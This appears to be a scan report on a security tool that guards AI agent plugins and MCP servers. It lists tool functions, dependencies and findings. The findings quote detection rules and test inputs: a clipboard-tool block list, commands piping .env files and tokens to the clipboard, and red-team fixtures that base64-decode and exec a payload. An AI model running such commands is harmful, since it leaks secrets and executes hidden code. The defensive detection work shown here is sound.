- fetch hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/server.py :199
- get_guard_status hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/server.py :205
- validate_policy hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/server.py :212
- create_policy hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/server.py :224
- get_policy_creation hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/server.py :275
declared dependencies 40
- rich@>=14.0,<15
- cryptography@>=50.0.0
- keyring@>=25.0
- packaging@>=24.0
- idna@==3.15
- jsonschema@>=4.26.0
- pyyaml@>=6.0.3
- regex@>=2025.0.0,<2027
- requests@>=2.32,<3
- publicsuffixlist@==1.0.2.20260726
- tomli@>=2.0; python_version <
- 3.10@*
show 28 more
- cisco-ai-skill-scanner@~=2.0.12
- litellm@==1.93.2; python_version <
- basedpyright@>=1.39.8
- build@>=1.5.0
- pytest@>=9.0.3
- pytest-cov@>=7.1.0
- ruff@>=0.15.15
- pyinstaller@>=6.16,<7
- twine@>=6.2.0
- github.com/gin-gonic/gin@v1.11.0
- hex@0.4.3
- fs2@0.4.3
- ring@0.17.14
- getrandom@0.3.3
- libc@0.2.175
- nix@0.31.3
- regex@1.11.2
- serde@1.0.219
- serde_json@1.0.143
- sha2@0.10.9
- sysinfo@=0.37.2
- thiserror@2.0.16
- windows-permissions@0.2.4
- winapi@0.3.9
- laravel/framework@^11.0
- rspec@*
- org.example:demo@1.2.4
- org.example:demo@1.2.4
clipboard 5
- clipboard shell call hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime/custom_extension_suggestion.py :130
"pbcopy", - clipboard shell call hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime/data_flow_rules.py :66
_CLIPBOARD_COMMANDS = frozenset({"pbcopy", "xclip", "xsel", "wl-copy", "clip", "clip.exe"}) - clipboard shell call hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime/false_positive_rules.py :320
r"[|;]\s*(?:pbcopy|xclip|xsel|wl-copy|clip)\b", - clipboard shell call hashgraph-online-hol-guard-ae1fb55/tests/test_guard_data_flow.py :259
("cat .env | pbcopy", "data-flow:clipboard-secret"), - clipboard shell call hashgraph-online-hol-guard-ae1fb55/tests/test_guard_detector_fp.py :100
result = classify_source_search_command("rg 'TOKEN' . | pbcopy")
obfuscation 2
- base64 decode → exec sink hashgraph-online-hol-guard-ae1fb55/tests/fixtures/guard-red-team/canary-exfil-encoded.py :22
exec(base64.b64decode(_ENCODED_PAYLOAD).decode("utf-8")) - base64 decode → exec sink hashgraph-online-hol-guard-ae1fb55/tests/fixtures/guard-red-team/malicious-encoded-shell-exfil.py :20
decoded = base64.b64decode(encoded).decode()
perm:untrusted 1
- untrusted (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_phase05_approval_memory.py :424
"Path('x.txt').write_text(requests.get('https://hol.org/x').text)\""
transport_posture 2
- binds all interfaces (0.0.0.0) hashgraph-online-hol-guard-ae1fb55/tests/docker/test_all_harness_hooks.py :89
"s = GuardStore(Path('/tmp/guard-home')); d = GuardDaemonServer(s, host='0.0.0.0', port=8474); " - binds all interfaces (0.0.0.0) hashgraph-online-hol-guard-ae1fb55/tests/dockerlabs/command-extension-analytics/installed_server.py :377
host="0.0.0.0",